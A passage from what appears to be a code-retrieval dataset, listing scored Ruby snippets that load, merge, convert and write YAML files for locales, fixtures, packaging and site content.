"text": "def process_and_convert\n all_locales_filenames = @locales_array.map { |file| File.basename(file) }\n\n locale_patterns = all_locales_filenames.map { |filename| filename.scan(/\\..*\\./) }.uniq.flatten\n # e.g. => [\".en.\", \".cs.\", ...]\n\n locale_patterns.each do |pattern|\n @locale = pattern[1...-1]\n locale_files = @locales_array.select { |filename| File.basename(filename).include?(pattern) }\n\n # join contents of locale_files to one hash of variables\n variables_hash = yaml_files_to_hash(locale_files)\n # process these variables\n processed_vars = process(variables_hash.to_yaml)\n\n # now process tokens and make new files from them\n @tokens_array.each do |token_file|\n @file = File.basename(token_file)\n\n output_filename_base = \"#{File.basename(token_file, File.extname(token_file))}.#{@locale}\"\n yaml_file = \"#{@yaml_target}/#{output_filename_base}.yml\"\n json_file = \"#{@json_target}/#{output_filename_base}.json\"\n\n template = { @locale => yaml_files_to_hash([token_file]) }\n\n processed_locale = process_template(template.to_yaml, processed_vars)\n processed_locale = processed_locale.gsub(\"---\\n\", '')\n File.open(yaml_file, 'w') { |f| f.write processed_locale }\n\n json_locale = convert_to_json(yaml_file)\n File.open(json_file, 'w') { |f| f.write json_locale }\n end\n end\n\n rescue Liquid::SyntaxError, Psych::SyntaxError, Liquid::UndefinedVariable, Liquid::UndefinedFilter => e\n file = @file ? \"(file: #{@file}) \" : ''\n raise LiqamlError.new(\"Error for locale '#{@locale}'#{file}- #{e}\")\n end",
"title": ""
},
{
"docid": "817f8f6b214485a856c3c15c8583b65f",
"score": "0.5495544",
"text": "def load_yml\n Yambol.load_file(source_file)\n end",
"title": ""
},
{
"docid": "011c8680edc7040f1418589db4330fa2",
"score": "0.5477717",
"text": "def convert\n files = Dir['Data/*.rxdata'] +\n Dir['Data/Animations/*.dat'] +\n Dir['Data/PSDK/*.rxdata'] -\n ['Data/project_identity.rxdata', 'Data/Viewport.rxdata']\n files.each do |filename|\n print \"\\r#{filename}\".ljust(60)\n File.write(filename + '.yml', YAML.dump(load_data(filename)))\n end\n puts \"\\rSuccess!\".ljust(61)\n nil\n end",
"title": ""
},
{
"docid": "d630dd7da0f56451a96c0e1edefa7bbc",
"score": "0.5436667",
"text": "def merge_yaml! path\n merge!(load_file path) do |key, old, new|\n (old + new).uniq.cleanup if old.is_a? Array and new.is_a? Array\n end\n end",
"title": ""
},
{
"docid": "c5a4f0b082d82241ed34def9fca8bbad",
"score": "0.5431649",
"text": "def load_directory(path)\n\n unless File.directory?(path)\n raise \"Konfig couldn't load because it was unable to access #{ path }. Please make sure the directory exists and has the correct permissions.\"\n end\n\n Dir[File.join(path, \"*.yml\")].each { |f| load_file(f) }\n end",
"title": ""
},
{
"docid": "91350c3522c1ed55eb78dcb38fa93366",
"score": "0.54207486",
"text": "def create_yaml_file(path)\n File.open(path, 'w:UTF-8') do |stream|\n stream.write(YAML.dump(yield))\n end\nend",
"title": ""
},
{
"docid": "9597cafcc4d0af28ed1322106bde85e7",
"score": "0.54090863",
"text": "def input(path)\n \n # The init/main file should contain usable package meta fields\n if m = get_meta(path)\n # copy attributes over, if not present/overriden\n @name = m[\"id\"] if not @name\n @version = m[\"version\"] if not @version\n @epoch = m[\"epoch\"] if not @epoch\n @architecture = m[\"architecture\"] if not attributes[:architecture_given?]\n @description = \"#{m['description']}\\n#{m['comment']}\" if not attributes[:description_given?]\n @url = m[\"url\"] || m[\"homepage\"] if not attributes[:url_given?]\n @category = m[\"category\"] if not attributes[:category_given?]\n @priority = m[\"priority\"] if not attributes[:priority_given?]\n @license = m[\"license\"] if not attributes[:license_given?]\n @vendor = m[\"author\"] if not attributes[:maintainer_given?]\n @maintainer = m[\"author\"] if not attributes[:maintainer_given?]\n # retain all available attributes (formerly :meta, now in shared :attrs)\n @attrs.merge!(m)\n #@todo preparse and collect config: structures\n end\n\n # Assemble rewrite map\n # {\n # rel/src1 => { src2=>dest, src3=>dest } ,\n # rel/src2 => { src4=> .. }\n # }\n @map = {:spec_start => {path => path}}\n ::Dir.chdir(attributes[:chdir] || \".\") do\n rewrite_map(path)\n logger.debug(@map)\n#p @map \n # Copy all referenced files.\n copied = {}\n @map.each do |from,pack|\n pack.each do |src,dest|\n # Each file can hold a primary declaration and override its target filename / make itself absent.\n if dest and @map[dest] and @map[dest][dest]\n dest = @map[dest][dest]\n end\n # References above the src/.. would also cross the staging_dir, give warning\n if dest and dest.match(/^\\.\\.\\//)\n logger.warn(\"Referencing above ../ the basedir from #{from}\")\n end\n # Else just apply pack{} map copying verbatim, possibly overwriting or duplicating files.\n if not copied[src+\">\"+dest]\n#p \"cp #{src} to /#{dest}\"\n real_copy(\"#{src}\", \"#{staging_path}/#{attributes[:prefix]}/#{dest}\") if dest != \"\"\n copied[src+\">\"+dest] = 1\n end\n end\n end\n end\n end",
"title": ""
},
{
"docid": "ce2a7deb8c04cb29dc6654b17c8a1c1c",
"score": "0.5373054",
"text": "def load_recursive_from_pth(base_dir_pth)\n data = {}\n\n Dir.glob(base_dir_pth.join('**').join('*.yml')) do |yml_file_pth|\n File.open(yml_file_pth, 'r') { |yml_file| data.merge!(YAML::load(yml_file)) }\n end\n\n data\n end",
"title": ""
},
{
"docid": "6f5f6bfe13aab81a4bdca5146cf6f6d1",
"score": "0.5281938",
"text": "def yaml_path\n path + \".piston.yml\"\n end",
"title": ""
},
{
"docid": "6f5f6bfe13aab81a4bdca5146cf6f6d1",
"score": "0.5281938",
"text": "def yaml_path\n path + \".piston.yml\"\n end",
"title": ""
},
{
"docid": "b19516e1228e294002b5a70c74ec8e2b",
"score": "0.5244296",
"text": "def load_yml(filename); end",
"title": ""
},
{
"docid": "1e505ea00f7508003859e3f2fd42503e",
"score": "0.521647",
"text": "def import_workshop_index_files(input, content)\n indir = File.expand_path(input)\n outdir = File.expand_path(content)\n workshop_out_dir = \"#{outdir}/course-materials\"\n rewrites = []\n Dir.chdir(input) do\n Dir[\"**/*\"].each do |f|\n if File.fnmatch(\"*.html\", File.basename(f))\n print \"processing: #{f} \"\n dest_dir = \"#{workshop_out_dir}/#{File.dirname(f)}\".sub(/\\/$/, \"\")\n if !File.fnmatch(\"index.html\", File.basename(f))\n dest_dir = \"#{workshop_out_dir}/#{f}\".sub(/\\.html$/, \"\")\n end\n rewrites << rewrite_workshop(f)\n FileUtils.mkdir_p(File.dirname(dest_dir))\n if !File.size?(\"#{indir}/#{f}\")\n puts \"<empty>\"\n next\n end\n doc = Hpricot(open(\"#{indir}/#{f}\"))\n attrs = parse_attributes(doc)\n if attrs[\"title\"].nil?\n attrs[\"title\"] = File.basename(dest_dir)\n end\n print \"A\"\n content = parse_content(doc)\n if content.nil?\n puts \"No content for #{indir}/#{f}\"\n next\n end\n puts \"C\"\n open(\"#{dest_dir}.html\", \"w\") do |out|\n out.write(content)\n end\n open(\"#{dest_dir}.yaml\", \"w\") do |out|\n out.write(attrs.to_yaml)\n end\n end\n end\n end\n open(\"workshop_rewrites.txt\", \"w\") { |f| f.write(rewrites.join(\"\\n\")) }\nend",
"title": ""
},
{
"docid": "f9a843944d9f16d358666348cbe98301",
"score": "0.52100563",
"text": "def read_fixture_files(path); end",
"title": ""
},
{
"docid": "3e4a317699c42c85477572a5885adb0a",
"score": "0.519912",
"text": "def load_yaml!(yml_path)\n nested_hash = YAML.load(ERB.new(File.read(yml_path)).result)\n recursive_load(nested_hash)\n end",
"title": ""
},
{
"docid": "fb9aeb6edd5ff20604bc09964438682e",
"score": "0.5190322",
"text": "def loadYaml(path); f = open(path, 'r'); x = YAML::load(f); f.close; x end",
"title": ""
},
{
"docid": "f1bf46bf2436aadbbdecd0f850bbbd5a",
"score": "0.5167236",
"text": "def yamls_to_msgpack!(source, destination)\n Pathname.glob(source.join('*.yml')) do |path|\n File.write(\n destination.join(\"#{ path.basename('.yml') }.pack\"),\n MessagePack.pack(YAML.load_file(path)),\n mode: 'wb'\n )\n end\n end",
"title": ""
},
{
"docid": "316bd72f682d17c270c5dafb521e2df2",
"score": "0.51628375",
"text": "def publish_content(source_path, destination_path)\n\n image_filetypes = ['.jpg','.png','.gif','.svg']\n markdown_filetypes = ['.md','.markdown']\n\n if image_filetypes.include? File.extname(source_path)\n\n destination_path = File.join destination_path, File.dirname(source_path)\n FileUtils.cp source_path, destination_path\n\n elsif markdown_filetypes.include? File.extname(source_path)\n\n destination_path = File.join destination_path, File.dirname(source_path)\n\n markdown_filename = File.basename( source_path, File.extname(source_path) )\n markdown_file = ''\n\n File.open(source_path, 'r').each { |line| markdown_file << line }\n\n yaml_content = YAML.load( markdown_file.match(/\\A(---\\s*\\n.*?\\n?)^(---\\s*$\\n?)/m).to_s ) # RegEx by Derek Worthen (Middleman implementation)\n html_content = Nokogiri::HTML.parse( Kramdown::Document.new(markdown_file.lines.to_a[0..-1].join, :auto_id_prefix => \"toc-\", :coderay_css => :class, :coderay_line_numbers => nil, :coderay_wrap => nil).to_html )\n\n anchors = []\n\n html_content.css('h1, h2, h3, h4, h5, h6').each do |heading|\n next unless heading.attribute('id')\n anchors.push({ 'tag' => heading.name, 'text' => heading.text, 'anchor' => heading.attribute('id').value })\n end\n\n json_content = {\n :body => html_content.css('body').inner_html,\n :slug => markdown_filename,\n :anchors => anchors\n }\n\n json_content.merge( yaml_content ) if yaml_content\n\n File.open(destination_path + '/' + markdown_filename + '.html', 'w') do |file|\n file.write html_content.css('body').inner_html\n file.close\n end\n\n File.open(destination_path + '/' + markdown_filename + '.json', 'w') do |file|\n file.write Hash[json_content.to_a.reverse].to_json\n file.close\n end\n\n end\nend",
"title": ""
},
{
"docid": "060227e359e30d49157660bc0f99fd56",
"score": "0.51561844",
"text": "def yaml_file(file_path)\n file_name = File.basename(file_path)\n example_file = File.expand_path(file_name + '.example', 'config')\n\n puts 'Creating file %s using %s' % [file_name, example_file]\n puts '...'\n\n reading_example(example_file) do |hash|\n File.write(file_path, hash.to_yaml)\n end\n end",
"title": ""
},
{
"docid": "f17e3c849719665efc64fafaaf3a019e",
"score": "0.5139375",
"text": "def load_yml(subdir, filename)\n basedir = OLE_QA::Framework::load_dir\n file_path = basedir + '/' + subdir + filename\n if File.exists?(file_path) then\n yaml_file = File.open(file_path, 'r')\n yaml = YAML.load(yaml_file)\n yaml_file.close\n yaml\n else\n raise StandardError, \"File does not exist. (#{basedir + subdir + filename})\"\n end\n end",
"title": ""
},
{
"docid": "a0523fc031d59624554c7096035de7cd",
"score": "0.51347363",
"text": "def load_from_yaml\n dirs = load_yaml_file\n if block_given?\n dirs.each do |dir|\n yield dir\n end\n end\n dirs\n end",
"title": ""
},
{
"docid": "4e07add4c711b81c3bda045242dfbc46",
"score": "0.5129485",
"text": "def copy_yaml\n template \"custom_words.yml\", \"config/custom_words.yml\"\n end",
"title": ""
},
{
"docid": "97b83c9befa289a8369060aeef5b02da",
"score": "0.51247066",
"text": "def get_yml_data(yml_file)\r\n file = nil\r\n\r\n #get the path and name of the csv file\r\n if yml_file.to_s.include? '.yml'\r\n file = File.join(File.dirname(__FILE__), \"../venture/config/yml_data/#{yml_file}\")\r\n elsif (\r\n file = File.join(File.dirname(__FILE__), \"../venture/config/yml_data/#{yml_file}.yml\")\r\n )\r\n end\r\n\r\n return YAML.load(File.read(file))\r\n\r\nend",
"title": ""
},
{
"docid": "3873aab4850e161e4947c0f843578f9c",
"score": "0.5120734",
"text": "def setup\n Dir.glob(File.join(@input, \"**/*\")).each {|file|\n next if File.directory? file\n\n rel = file[@input.length+1..-1]\n\n Chance.add_file(file)\n @chance.map_file(rel, file)\n }\n end",
"title": ""
},
{
"docid": "5235758ac6f64a1beabedba57ee6d2bf",
"score": "0.51174444",
"text": "def translate_file(input_path)\n output_path = input_path.gsub(/.vm\\z/i, \".asm\")\n code_writer = CodeWriter.new(output_path)\n code_writer.input_path = input_path\n generate(input_path, code_writer)\n code_writer.close\n output_path\n end",
"title": ""
},
{
"docid": "ba4ce7196d719bf2f70b25d32189dfbb",
"score": "0.51149935",
"text": "def dump(path=nil)\n filename = ( path || dump_path(@name))\n FileUtils.mkdir_p(File.dirname(filename))\n data = {}\n @samples.each_with_index { |s, i| data[i] = s.to_a }\n File.open filename, \"w\" do |f|\n ::YAML.dump(data, f)\n end\n end",
"title": ""
},
{
"docid": "43f859668d761e62a2adc7edabec63cc",
"score": "0.5097219",
"text": "def analyze_result!(input, output)\n YAML::load_file(input)\n end",
"title": ""
},
{
"docid": "aef47a0ba0b44b79015793ba2ef106f6",
"score": "0.50756913",
"text": "def find_yaml_path(path)\n if path.file?\n path\n else\n %w[yml yaml].map do |ext|\n p = Pathname.new(\"#{path}.#{ext}\")\n p if p.file?\n end.compact.first\n end\n end",
"title": ""
},
{
"docid": "aef47a0ba0b44b79015793ba2ef106f6",
"score": "0.50756913",
"text": "def find_yaml_path(path)\n if path.file?\n path\n else\n %w[yml yaml].map do |ext|\n p = Pathname.new(\"#{path}.#{ext}\")\n p if p.file?\n end.compact.first\n end\n end",
"title": ""
},
{
"docid": "333579a43904f32974b5516f1c3d2902",
"score": "0.5070144",
"text": "def set_file_paths(args)\n @input_path = args[:input_path] || DEFAULT_INPUT_PATH\n @output_path = args[:output_path] || DEFAULT_OUTPUT_PATH\n @output_datapackage_path = File.join(output_path, \"datapackage\")\n @output_datapackage_file_path = File.join(output_path, \"datapackage/datapackage.json\")\n @output_data_path = File.join(output_datapackage_path, \"data\")\n @zipfile_name = File.join(output_path, \"datapackage.zip\")\n\n @output_organizations_path = output_data_path + \"/organizations.csv\"\n @output_locations_path = output_data_path + \"/locations.csv\"\n @output_services_path = output_data_path + \"/services.csv\"\n @output_phones_path = output_data_path + \"/phones.csv\"\n @output_physical_addresses_path = output_data_path + \"/physical_addresses.csv\"\n @output_postal_addresses_path = output_data_path + \"/postal_addresses.csv\"\n @output_services_at_locations_path = output_data_path + \"/services_at_location.csv\"\n @output_eligibilities_path = output_data_path + \"/eligibility.csv\"\n @output_contacts_path = output_data_path + \"/contacts.csv\"\n @output_languages_path = output_data_path + \"/languages.csv\"\n @output_accessibility_for_disabilities_path = output_data_path + \"/accessibility_for_disabilities.csv\"\n @output_taxonomies_path = output_data_path + \"/taxonomy.csv\"\n @output_service_taxonomies_path = output_data_path + \"/services_taxonomy.csv\"\n @output_regular_schedules_path = output_data_path + \"/regular_schedules.csv\"\n @output_service_areas_path = output_data_path + \"/service_areas.csv\"\n\n @default_datapackage_json_path = File.join(ENV[\"ROOT_PATH\"], \"lib/datapackage/datapackage.json\")\n end",
"title": ""
},
{
"docid": "0569984489bfc8ec04cbba84cf655635",
"score": "0.50698787",
"text": "def parse_localization_from_path_hoi4(path)\n FakeYaml.load(path)\n end",
"title": ""
},
{
"docid": "e667f744ed7227ac0a6d31591edae44f",
"score": "0.5069413",
"text": "def require_yaml(path)\n path = File.extname(path) == '' ? \"#{path}.yml\" : path\n unless File.exists?(path)\n path = File.expand_path(File.join(File.dirname(self.path), path))\n end\n Yamler::Template.new(path).render(binding)\n end",
"title": ""
},
{
"docid": "25ec625889fcf6df69da5073d27d354a",
"score": "0.506048",
"text": "def load_library(file_path)\n file_path = YAML.load_file(file_path)\n new_hash = {}\n\n file_path.each do |key, value|\n new_hash[key] = {}\n new_hash[key][:english] = file_path[key][0]\n new_hash[key][:japanese] = file_path[key][1]\n\n end\n new_hash\nend",
"title": ""
},
{
"docid": "531f6040266ab9c6024ceaa8ed326354",
"score": "0.5052528",
"text": "def find_yaml_path(path)\n if path.file?\n path\n else\n %w(yml yaml).map do |ext|\n p = Pathname.new(\"#{path}.#{ext}\")\n p if p.file?\n end.compact.first\n end\n end",
"title": ""
},
{
"docid": "ac032b520bc1c18e2555cac431d5e322",
"score": "0.50466764",
"text": "def assets\n Dir[\"#{directory}/**/*\"].select{|path| !File.directory?(path) && !File.basename(path).include?(\"yml\") }.map do |file|\n file_to_hash(file)\n end\n end",
"title": ""
},
{
"docid": "5a0f8f9d1d7f1a160e1dbea8177fccb0",
"score": "0.50294495",
"text": "def get_data_by_dir(dir_path)\n dir_files = get_data_files_by_dir(dir_path)\n\n seed_data = {}\n dir_files.each do |df|\n seed_item = YAML::load(File.read(df[1]))\n k = seed_item.keys[0]\n seed_data[k] = seed_item[k]\n end\n\n seed_data\nend",
"title": ""
},
{
"docid": "69e4119b7a7af0a4f16b0f1eb87de47a",
"score": "0.49990973",
"text": "def load_yml( path )\n begin\n config = YAML.load(\n ERB.new(\n File.read(\n File.join(root_path, path)\n )\n ).result\n ) if path\n # rescue Errno::ENOENT\n # log(:warning, \"YAML configuration file couldn't be found. Using defaults.\"); return\n # rescue Psych::SyntaxError\n # log(:warning, \"YAML configuration file contains invalid syntax. Using defaults.\"); return\n end || {}\n end",
"title": ""
},
{
"docid": "6317b6937c836d9b877e4b327493944d",
"score": "0.49900487",
"text": "def read_data_file(path)\n Jekyll.logger.debug \"Reading:\", path.sub(@source_dir, \"\")\n\n case File.extname(path).downcase\n when \".csv\"\n CSV.read(path, **csv_config).map { |row| convert_row(row) }\n when \".tsv\"\n CSV.read(path, **tsv_config).map { |row| convert_row(row) }\n else\n SafeYAML.load_file(path)\n end\n end",
"title": ""
},
{
"docid": "2da3a01279f6e857daa097527173d973",
"score": "0.49879798",
"text": "def input(path)\n chdir = attributes[:chdir] || \".\"\n\n # Support mapping source=dest\n # This mapping should work the same way 'rsync -a' does\n # Meaning 'rsync -a source dest'\n # and 'source=dest' in fpm work the same as the above rsync\n if path =~ /.=./ && !File.exist?(chdir == '.' ? path : File.join(chdir, path))\n origin, destination = path.split(\"=\", 2)\n\n if File.directory?(origin) && origin[-1,1] == \"/\"\n chdir = chdir == '.' ? origin : File.join(chdir, origin)\n source = \".\"\n else\n origin_dir = File.dirname(origin)\n chdir = chdir == '.' ? origin_dir : File.join(chdir, origin_dir)\n source = File.basename(origin)\n end\n else\n source, destination = path, \"/\"\n end\n\n if attributes[:prefix]\n destination = File.join(attributes[:prefix], destination)\n end\n\n destination = File.join(staging_path, destination)\n\n logger[\"method\"] = \"input\"\n begin\n ::Dir.chdir(chdir) do\n begin\n clone(source, destination)\n rescue Errno::ENOENT => e\n raise FPM::InvalidPackageConfiguration,\n \"Cannot package the path '#{File.join(chdir, source)}', does it exist?\"\n end\n end\n rescue Errno::ENOENT => e\n raise FPM::InvalidPackageConfiguration,\n \"Cannot chdir to '#{chdir}'. Does it exist?\"\n end\n\n # Set some defaults. This is useful because other package types\n # can include license data from themselves (rpms, gems, etc),\n # but to make sure a simple dir -> rpm works without having\n # to specify a license.\n self.license ||= \"unknown\"\n self.vendor ||= [ENV[\"USER\"], Socket.gethostname].join(\"@\")\n ensure\n # Clean up any logger context we added.\n logger.remove(\"method\")\n end",
"title": ""
},
{
"docid": "09d9a162dcb8070ec4485e2c2a6eb564",
"score": "0.49877658",
"text": "def haml_files_from_path(path)\n if Dir.exist?(path) || File.exist?(path)\n runner\n .send(:extract_applicable_files, linter_config, files: [path])\n .select { |file| file.end_with?(HAML_EXTENSION) }\n else\n []\n end\n end",
"title": ""
},
{
"docid": "b06959e0b2d21ce5bd120774b04e9bdd",
"score": "0.49857885",
"text": "def migrate_source_file(orig_path, encoding)\n rr_output_file_path = orig_path.partition(SOURCE_ROOT)[2].rpartition('.')[0] + \".pcf\"\n output_file_path = OUTPUT_ROOT + OUTPUT_PUB_DIR + rr_output_file_path\n rr_output_prod_path = rr_output_file_path.rpartition('.')[0] + OUTPUT_EXTENSION\n puts \"output_file_path: \" + output_file_path\n @log.puts \"output_file_path: \" + output_file_path\n \n rr_dir = rr_output_file_path.rpartition('/')[0]\n \n create_directory(output_file_path) #create directory if needed\n \n puts \"orig_path: \" + orig_path\n @log.puts \"orig_path: \" + orig_path\n \n if File.file?(orig_path)\n puts \"Source page exists.\"\n @log.puts \"Source page exists.\"\n \n File.open(orig_path, \"r:#{encoding}\") do |html_file|\n\n # this will sometimes fail and should be rescued\n html_doc = Nokogiri.HTML(html_file)\n html_doc = Nokogiri.HTML(html_doc.to_s.encode(\"UTF-8\"))\n \n title = html_doc.xpath(\"//title/node()\").to_s\n # content = html_doc.xpath(\"//div[@id='content']/node()\").to_xhtml.gsub(/<!--[\\s\\S]*?-->/, \"\")\n content = get_content(html_doc)\n \n # @log.puts \"HTML Content: \" + content #for debugging\n \n #determine template based on source files\n template = \"\";\n if html_doc.xpath(\"//section[@class='carousel homepage-carousel']\").length > 0 #it's a homepage layout\n template = \"home\"\n elsif html_doc.xpath(\"//body\").to_s.gsub(/[s\\S]*?(<!--[\\s\\S]-->)[\\s\\S]*?/, \"\\\\1\").include? \"full width\" #it's a full width page\n template = \"full width\"\n elsif title.include? \"Interior\" #it's an interior page\n template = \"interior\"\n end\n \n #create the page depending on the template given\n if template == \"home\"\n #home page\n puts \"Template: home page\"\n @log.puts \"Template: home page\"\n \n doc_data = {\"title\" => title}\n @fp_home.punch_file(output_file_path, doc_data)\n \n puts \"Wrote new file at: #{output_file_path}\"\n @log.puts \"Wrote new file at: #{output_file_path}\"\n \n elsif template == \"full width\"\n #full width page\n puts \"Template: full width page\"\n @log.puts \"Template: full width page\"\n \n sidebar_disp = '<parameter name=\"sidebarDisplay\" prompt=\"Sidebar Display\" alt=\"Choose to show or hide the sidebar.\" type=\"select\">\n <option value=\"show\" selected=\"false\">Show</option>\n <option value=\"hide\" selected=\"true\">Hide</option>\n </parameter>';\n \n doc_data = {\"title\" => title, \"sidebar_disp\" => sidebar_disp}\n @fp_interior.punch_file(output_file_path, doc_data)\n \n puts \"Wrote new file at: #{output_file_path}\"\n @log.puts \"Wrote new file at: #{output_file_path}\"\n \n elsif template == \"interior\"\n #interior page\n puts \"Template: interior page\"\n @log.puts \"Template: interior page\"\n \n sidebar_disp = '<parameter name=\"sidebarDisplay\" prompt=\"Sidebar Display\" alt=\"Choose to show or hide the sidebar.\" type=\"select\">\n <option value=\"show\" selected=\"true\">Show</option>\n <option value=\"hide\" selected=\"false\">Hide</option>\n </parameter>';\n \n doc_data = {\"title\" => title, \"sidebar_disp\" => sidebar_disp}\n @fp_interior.punch_file(output_file_path, doc_data)\n \n puts \"Wrote new file at: #{output_file_path}\"\n @log.puts \"Wrote new file at: #{output_file_path}\"\n \n else\n puts \"Template not found!\"\n @log.puts \"Template not found!\"\n \n #copy file over as-is if no template found\n new_path = OUTPUT_ROOT + OUTPUT_PUB_DIR + orig_path.partition(SOURCE_ROOT)[2]\n puts \"filepath: \" + orig_path\n puts \"new_path: \" + new_path\n copy_file(orig_path, new_path)\n end\n \n #we're done writing pages, now add to the nav\n @sidenav_file_maker.write_link(rr_output_prod_path, title)\n \n #if it's the index page, create the props file\n if rr_output_prod_path.rpartition('/')[2] == INDEX_NAME + OUTPUT_EXTENSION\n props_path = rr_output_file_path.rpartition('/')[0] + PROPS_FILENAME\n @props_file_maker.write(OUTPUT_PUB_DIR + props_path, title)\n end\n end\n else\n puts \"Source file does not exist: \" + orig_path\n @log.puts \"Source file does not exist: \" + orig_path\n \n @missing_pages_arr[@missing_pages_arr_index] = orig_path.partition(SOURCE_ROOT)[2]\n @missing_pages_arr_index = @missing_pages_arr_index + 1\n end\nend",
"title": ""
},
{
"docid": "200d8deb2512a9a8d216da8c8cf70f8e",
"score": "0.49764353",
"text": "def input_paths(test:)\n extensions = %w(input txt)\n suffix = test ? '-sample' : ''\n days = [\"day-#{day}\", sprintf(\"day-%02i\", day)]\n\n filenames = extensions.\n flat_map { |ext| days.map { |day| \"#{day}#{suffix}.#{ext}\" } }\n\n directories = days.flat_map { |day| [year, File.join(year, day)] }\n directories\n .flat_map { |d| filenames.map { |f| [d, f] } }\n .map { |(d, fn)| File.join(d, fn) }\n end",
"title": ""
},
{
"docid": "3aa8f7b0b97dd0f8edb9e5458300bc9e",
"score": "0.49713576",
"text": "def parse_cfn_blocks(directory, section, cfn_hash)\n Dir.glob(directory +'/*.yaml') do |yaml_file|\n # do work on files ending in .rb in the desired directory\n item = YAML::load(File.open(yaml_file))\n item.each_key do |key|\n cfn_hash[section][key] = Hash.new\n cfn_hash[section][key] = item[key]\n end\n end\nend",
"title": ""
},
{
"docid": "d705a776021120788f3c36a773f0f004",
"score": "0.4966597",
"text": "def input(input_path)\n # TODO: Fail if it's a Distribution pkg or old-fashioned\n expand_dir = File.join(build_path, \"expand\")\n # expand_dir must not already exist for pkgutil --expand\n safesystem(\"pkgutil --expand #{input_path} #{expand_dir}\")\n\n extract_info(input_path)\n\n # extract Payload\n safesystem(\"tar -xz -f #{expand_dir}/Payload -C #{staging_path}\")\n end",
"title": ""
},
{
"docid": "448827dbe6e4122689698726cd2c9796",
"score": "0.49623403",
"text": "def construct_and_write_yaml(filepath)\n data = YAML::load(File.open(filepath))\n\n yield data\n\n File.open(filepath, \"w\") do |f|\n f.write(YAML::dump(data))\n end\nend",
"title": ""
},
{
"docid": "94b47f310c93527cb3ebf730c1c882cc",
"score": "0.4958117",
"text": "def full_tapelibrary_massage(option_file_name, interactive)\n require 'yaml'\n directory_names =YAML::load_file(option_file_name)\n\n if interactive\n puts \"\\nthe following directory values were read from #{option_file_name}:\"\n directory_names.each do |key, value|\n puts \"#{key}= #{value}\"\n end\n end\n\n uh_oh_flag = false\n puts \"\\nlooking for the directories specified in your input file...\"\n directory_names.each do |key, value|\n if !Dir.exists?(value)\n puts\"!!!! #{key}: #{value} cannot be found.\"\n uh_oh_flag = true\n end \n end\n\n### if uh_oh_flag\n### raise IOError\n### else\n### puts \"I've found all of the directories that you specified.\"\n### end\n directory_names[\"library_root\"].chomp(\"/\") #remove the trailing / if there is one\n\n VMCTapeLibCustomizations.am_chantings_duplicate(directory_names[\"am_chant_src_dir\"], directory_names[\"am_chant_cust_dir\"], interactive)\n VMCTapeLibCustomizations.std_album_tag_fix(directory_names[\"library_root\"],interactive)\n\n VMCTapeLibCustomizations.am_chantings_album(directory_names[\"am_chant_src_dir\"], interactive)\n VMCTapeLibCustomizations.dohas(directory_names[\"dohas_dir\"], interactive)\n VMCTapeLibCustomizations.gongs(directory_names[\"gongs_dir\"], interactive)\n VMCTapeLibCustomizations.group_sittings(directory_names[\"group_sittings_dir\"], interactive)\n VMCTapeLibCustomizations.hindi(directory_names[\"hindi_instr_src_dir\"], directory_names['hindi_instr_cust_dir'], interactive)\n\n VMCTapeLibCustomizations.metta_mods(directory_names[\"workers_metta_dir\"], interactive)\n VMCTapeLibCustomizations.one_day_course(directory_names[\"one_day_dir\"], interactive)\n VMCTapeLibCustomizations.set_discourse_track_numbers(directory_names[\"library_root\"], interactive)\n VMCTapeLibCustomizations.special_chantings(directory_names[\"special_chantings_dir\"], interactive)\nend",
"title": ""
},
{
"docid": "9b4850a84bcd81b1425077f132a54214",
"score": "0.49556825",
"text": "def load_sample_yml(fname)\n I18n.load_path << \"#{File.dirname(__FILE__)}/support/#{fname}\"\nend",
"title": ""
},
{
"docid": "127c6debed510c1060a0ad9d38fdfef1",
"score": "0.4954049",
"text": "def create_fixtures_yml\n metadata = JSON.parse(File.read('metadata.json'))\n File.open('.fixtures.yml', 'w') do |fix|\n fix.puts \"fixtures:\"\n fix.puts \" symlinks:\"\n fix.puts \" #{(metadata['name'].split(/[\\/\\-]/))[-1]}: \\\"\\#{source_dir}\\\"\"\n if metadata.key? 'dependencies'\n fix.puts \" forge_modules:\"\n metadata['dependencies'].each do |dep|\n if dep.key? 'version_requirement'\n fix.puts \" #{(dep['name'].split(/[\\/\\-]/))[-1]}:\"\n fix.puts \" repo: \\\"#{dep['name']}\\\"\"\n fix.puts \" ref: \\\"#{dep['version_requirement'].gsub(/[=\\<\\>~\\s]+([\\d\\.]+).*$/, '\\1')}\\\"\"\n else\n fix.puts \" #{(dep['name'].split(/\\/\\-/))[-1]}: \\\"#{dep['name']}\\\"\"\n end\n end\n end\n end\nend",
"title": ""
},
{
"docid": "ccbfd70e455b5f8936b854215e5a00ed",
"score": "0.49539104",
"text": "def parseToFile(input_stream, output_file)\n\t\n\t\t# Stats for coolness\n\t\tt0 = Time.now\n\t\n\t\t# STL scanner for the input stream\n\t\tscanner = StringScanner.new(input_stream); 0\n\t\t\n\t\t# output file as specified in parameters\n\t\tyaml_file = File.open(output_file, 'w'); 0\n\t\t\n\t\twhile scanner.eos? == false\n\t\t\n\t\t\t#search for a top level element\n\t\t\tcurrent_segment = scanner.scan(/\\\"[a-zA-Z0-9'_ .\\-\\/#\\\\,:!]*\\\"[ \\r\\n\\t]*{/)\n\t\t\tif current_segment != nil\n\t\t\t\tcurrent_segment = current_segment.tr(\"}{\\n\\r\\t\\\"\", \"\")\n\t\t\t\tyaml_file.write(\" \"*@@indentation_count + current_segment + \":\\n\")\n\t\t\t\t@@indentation_count = @@indentation_count + 1\n\t\t\tend\n\t\t\t\n\t\t\t# Search for a Key-Value pair\n\t\t\tcurrent_segment = scanner.scan(/[\\s]*\\\"[a-zA-Z0-9'_ .\\-\\/#\\\\,:!]+\\\"[\\s]*\\\"[a-zA-Z0-9'_ .\\-\\/#\\\\,:!]+\\\"/)\n\t\t\tif current_segment != nil\n\t\t\t\tcurrent_segment = current_segment.rstrip.lstrip\n\t\t\t\tkey = current_segment.split(/\\\"/)\n\t\t\t\tkey = sanitizeInput(key)\n\t\t\t\tyaml_file.write(\" \"*@@indentation_count + key[0] + \":\\t\" + key[2] + \"\\n\")\n\t\t\tend\n\t\t\t\n\t\t\t# Search for an end segment\n\t\t\tcurrent_segment = scanner.scan(/[\\s]}/)\n\t\t\tif current_segment != nil\n\t\t\t\t@@indentation_count = @@indentation_count -1\n\t\t\t\tif @@indentation_count <= 0\n\t\t\t\t\tputs \"Reached Root Indentation\"\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tcurrent_segment = scanner.scan_until(/[\\s]/)\n\t\t\t\n\t\tend\n\t\t\n\t\tputs \"Conversion Complete, Time Taken: #{Time.now - t0} Seconds\"\n\t\n\tend",
"title": ""
},
{
